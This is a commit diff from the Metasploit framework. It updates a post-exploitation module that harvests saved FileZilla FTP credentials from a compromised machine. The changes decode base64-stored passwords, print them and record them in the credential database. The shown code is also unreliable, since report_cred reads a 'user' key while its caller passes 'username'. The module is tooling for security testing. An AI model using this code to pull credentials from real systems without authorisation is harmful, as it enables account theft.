Skip to content

Commit b98cc89

Browse files
committed
Update filezilla_client_cred to use the new cred API
1 parent c721cb6 commit b98cc89

File tree

1 file changed

+46
-9
lines changed

1 file changed

+46
-9
lines changed

modules/post/multi/gather/filezilla_client_cred.rb

Lines changed: 46 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,43 @@ def check_filezilla(filezilladir)
103103
return nil
104104
end
105105

106+
107+
def report_cred(opts)
108+
service_data = {
109+
address: opts[:ip],
110+
port: opts[:port],
111+
service_name: opts[:service_name],
112+
protocol: 'tcp',
113+
workspace_id: myworkspace_id
114+
}
115+
116+
credential_data = {
117+
post_reference_name: self.refname,
118+
session_id: session_db_id,
119+
origin_type: :session,
120+
private_data: opts[:password],
121+
private_type: :password,
122+
username: opts[:user]
123+
}.merge(service_data)
124+
125+
login_data = {
126+
core: create_credential(credential_data),
127+
status: Metasploit::Model::Login::Status::UNTRIED,
128+
}.merge(service_data)
129+
130+
create_credential_login(login_data)
131+
end
132+
133+
def is_base64?(str)
134+
str.match(/^([A-Za-z0-9+\/]{4})*([A-Za-z0-9+\/]{4}|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{2}==)$/) ? true : false
135+
end
136+
137+
138+
def try_decode_password(str)
139+
is_base64?(str) ? Rex::Text.decode_base64(str) : str
140+
end
141+
142+
106143
def get_filezilla_creds(paths)
107144

108145
sitedata = ""
@@ -155,14 +192,14 @@ def get_filezilla_creds(paths)
155192
else
156193
source_id = nil
157194
end
158-
report_auth_info(
159-
:host => loot['host'],
160-
:port => loot['port'],
161-
:sname => 'ftp',
162-
:source_id => source_id,
163-
:source_type => "exploit",
164-
:user => loot['user'],
165-
:pass => loot['password'])
195+
196+
report_cred(
197+
ip: loot['host'],
198+
port: loot['port'],
199+
service_name: 'ftp',
200+
username: loot['user'],
201+
password: try_decode_password(loot['password'])
202+
)
166203
end
167204
end
168205
end
@@ -214,7 +251,7 @@ def parse_accounts(data)
214251
print_status(" Server: %s:%s" % [account['host'], account['port']])
215252
print_status(" Protocol: %s" % account['protocol'])
216253
print_status(" Username: %s" % account['user'])
217-
print_status(" Password: %s" % account['password'])
254+
print_status(" Password: %s" % try_decode_password(account['password']))
218255
print_line("")
219256
end
220257
return creds

0 commit comments

Comments
 (0)